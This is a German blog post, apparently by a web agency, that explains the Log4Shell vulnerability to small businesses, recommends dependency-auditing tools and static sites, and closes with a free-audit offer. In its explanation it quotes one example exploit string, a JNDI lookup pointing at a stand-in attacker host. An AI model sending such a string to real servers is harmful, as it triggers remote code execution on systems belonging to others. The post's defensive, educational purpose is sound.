← Zurück zum Blog

Log4Shell und Was Es KMU über Software-Abhängigkeiten Lehrt

Dezember 2021: Das Internet Hatte eine Sehr Schlechte Woche

Am 9. Dezember 2021 wurde eine Schwachstelle in Log4j öffentlich bekannt, einer Java-Logging-Bibliothek, die von Millionen von Anwendungen weltweit genutzt wird. Die Schwachstelle, Log4Shell (CVE-2021-44228) genannt, ermöglichte es einem Angreifer, beliebigen Code auf jedem Server auszuführen, der eine verwundbare Version von Log4j betrieb. Keine Authentifizierung nötig. Kein spezieller Zugang erforderlich. Nur eine speziell gestaltete Textzeichenkette, die an eine beliebige Eingabe gesendet wird, die geloggt wird.

Der Schweregrad-Score war 10 von 10. Das Maximum.

Innerhalb von Stunden scannten Angreifer das gesamte Internet nach verwundbaren Systemen. Apache, Amazon, Apple iCloud, Cloudflare, Steam, Tesla, Twitter und Tausende anderer Dienste waren betroffen oder potenziell betroffen.

Was Ist Log4j und Warum War Es Überall?

Log4j ist eine Open-Source-Logging-Bibliothek für Java. Logging ist eine der grundlegendsten Operationen in Software: aufzeichnen, was passiert ist, wann und wo.

  • Verbreitung: Log4j wurde direkt oder indirekt von geschätzten 35.000+ Java-Paketen verwendet. Viele Unternehmen wussten nicht einmal, dass sie es verwendeten, weil es eine Abhängigkeit einer Abhängigkeit einer Abhängigkeit war.
  • Triviale Ausnutzung: Ein Angreifer musste nur bewirken, dass die verwundbare Anwendung eine bestimmte Zeichenkette wie ${jndi:ldap://angreifer.com/exploit} loggt.
  • Remote Code Execution: Der Angreifer konnte beliebigen Code auf Ihrem Server ausführen. Ransomware installieren. Datenbanken stehlen. Hintertüren einrichten. Alles.

Das Eigentliche Problem: Software-Lieferketten

Moderne Software Ist Auf Abhängigkeiten Gebaut

Niemand schreibt Software mehr von Grund auf. Eine typische Webanwendung hängt von Hunderten oder Tausenden von Open-Source-Bibliotheken ab. Ein einfaches Node.js-Projekt kann über 300 Pakete via npm einbinden. Eine WordPress-Site mit 15 Plugins hängt vom Code von 15 verschiedenen Entwicklungsteams ab.

Transitive Abhängigkeiten: Das Unsichtbare Risiko

Ihre Anwendung hängt von Bibliothek A ab. Bibliothek A hängt von Bibliothek B ab. Bibliothek B hängt von Bibliothek C ab. Sie haben Bibliothek A gewählt. Sie haben nie von Bibliothek C gehört. Aber wenn Bibliothek C eine Schwachstelle hat, ist Ihre Anwendung verwundbar. Genau das passierte mit Log4j.

Software Bill of Materials (SBOM)

Ein SBOM ist eine vollständige Liste jeder Komponente, Bibliothek und Abhängigkeit in Ihrer Software. Denken Sie daran als Zutatenliste für Ihre Anwendung. Ein SBOM hilft Ihnen, die Frage zu beantworten, die jeder CEO während Log4Shell beantwortet haben wollte: "Sind wir betroffen?"

Wie Sie Ihre Abhängigkeiten Überprüfen (Praktische Schritte)

Für Node.js / npm Projekte

  1. Führen Sie npm audit aus in Ihrem Projektverzeichnis.
  2. Führen Sie npm audit fix aus für automatische Updates.
  3. Überprüfen Sie Ihre package-lock.json mit npm ls --all.

Für WordPress-Sites

  1. Führen Sie ein Inventar aller installierten Plugins und Themes.
  2. Prüfen Sie jedes Plugin gegen die WPScan-Schwachstellendatenbank.
  3. Entfernen Sie ungenutzte Plugins. Wie in unserem Artikel über Plugin-Schwachstellen in CMS-Plattformen besprochen, sind inaktive Plugins trotzdem Angriffsvektoren.

Universelle Tools

  • Snyk: Kostenloses Tier verfügbar. Scannt Ihr Repository nach bekannten Schwachstellen.
  • Dependabot (GitHub): Erstellt automatisch Pull Requests zur Aktualisierung verwundbarer Abhängigkeiten. Kostenlos.
  • OWASP Dependency-Check: Kostenloses Open-Source-Tool.
  • Trivy: Kostenloser Scanner für Schwachstellen in Container-Images und Git-Repositories.

Warum Statische/Jamstack-Sites Dieses Risiko Drastisch Reduzieren

Eine statische Site generiert HTML-Dateien zur Build-Zeit. Wenn ein Besucher Ihre Seite lädt, liefert der Server eine vorgebaute HTML-Datei. Kein serverseitiger Code wird ausgeführt. Keine Bibliotheken laufen. Keine Abhängigkeiten zum Ausnutzen.

Build-Zeit-Abhängigkeiten sind nicht dem Internet ausgesetzt. Wir erklären diesen architektonischen Vorteil in unserem Vergleich der Sicherheit statischer vs dynamischer Sites und unserer WordPress vs Jamstack Analyse.

AspektDynamische Site (z.B. WordPress)Statische/Jamstack Site
Laufzeit-AbhängigkeitenHunderte (PHP, Plugins, Bibliotheken)Null (nur HTML/CSS/JS-Dateien)
Serverseitige CodeausführungBei jedem SeitenaufrufKeine in Produktion
Log4j-Typ-ExpositionBei Java-Komponenten voll exponiertIn Produktion nicht möglich
AngriffsflächeServer + Anwendung + alle AbhängigkeitenCDN liefert statische Dateien

Das Versteckte Risiko in Jedem CMS-Plugin

Log4j war eine Java-Bibliothek, aber das gleiche Muster gilt für jedes Ökosystem. WordPress-Plugins sind PHP-Code, der auf Ihrem Server läuft. Der Supply-Chain-Angriff über Plugins ist ein gut dokumentiertes Muster.

Supply-Chain-Sicherheit: Praktische Massnahmen für KMU

1. Abhängigkeiten Minimieren

Jede Abhängigkeit ist eine Verbindlichkeit. Bevor Sie eine Bibliothek oder ein Plugin hinzufügen, fragen Sie: Brauchen wir das wirklich?

2. Alles Aktuell Halten

Die einzeln wirksamste Verteidigung. Unser Artikel über die Risiken einer nicht aktualisierten Website geht ins Detail.

3. Automatisiertes Monitoring Einrichten

Aktivieren Sie Dependabot auf Ihren GitHub-Repositories. Verbinden Sie Snyk mit Ihrer Codebasis. Kostenlos, 15 Minuten Einrichtung.

4. Architektur Berücksichtigen

Eine statische Site mit einer API für dynamische Funktionen hat eine fundamental kleinere Angriffsfläche als ein monolithisches CMS.

5. Technologie-Partner Prüfen

Wenn eine Webagentur Ihre Site baut und pflegt, fragen Sie: Wie verwalten Sie Abhängigkeiten? Wir haben darüber geschrieben, was passiert, wenn Ihre Webagentur Ihre Site nicht aktualisiert.

Was Als Nächstes Kommt

Log4Shell wird nicht die letzte Supply-Chain-Schwachstelle sein. Die nächste könnte in einer Python-Bibliothek, einem JavaScript-Paket oder einem Go-Modul sein. Die Frage ist nicht ob, sondern wann.

Wenn die Website Ihres Unternehmens auf einem Technologie-Stack läuft, den Sie nicht vollständig verstehen, kontaktieren Sie uns. Wir können Ihre aktuelle Konfiguration bewerten, Ihre Supply-Chain-Risiken identifizieren und konkrete Schritte empfehlen, um Ihre Exposition zu reduzieren.

Wollen Sie wissen, ob Ihre Website sicher ist?

Fordern Sie ein kostenloses Sicherheitsaudit an. In 48 Stunden erhalten Sie einen vollständigen Bericht.

Kostenloses Audit Anfordern

Schnellkontakt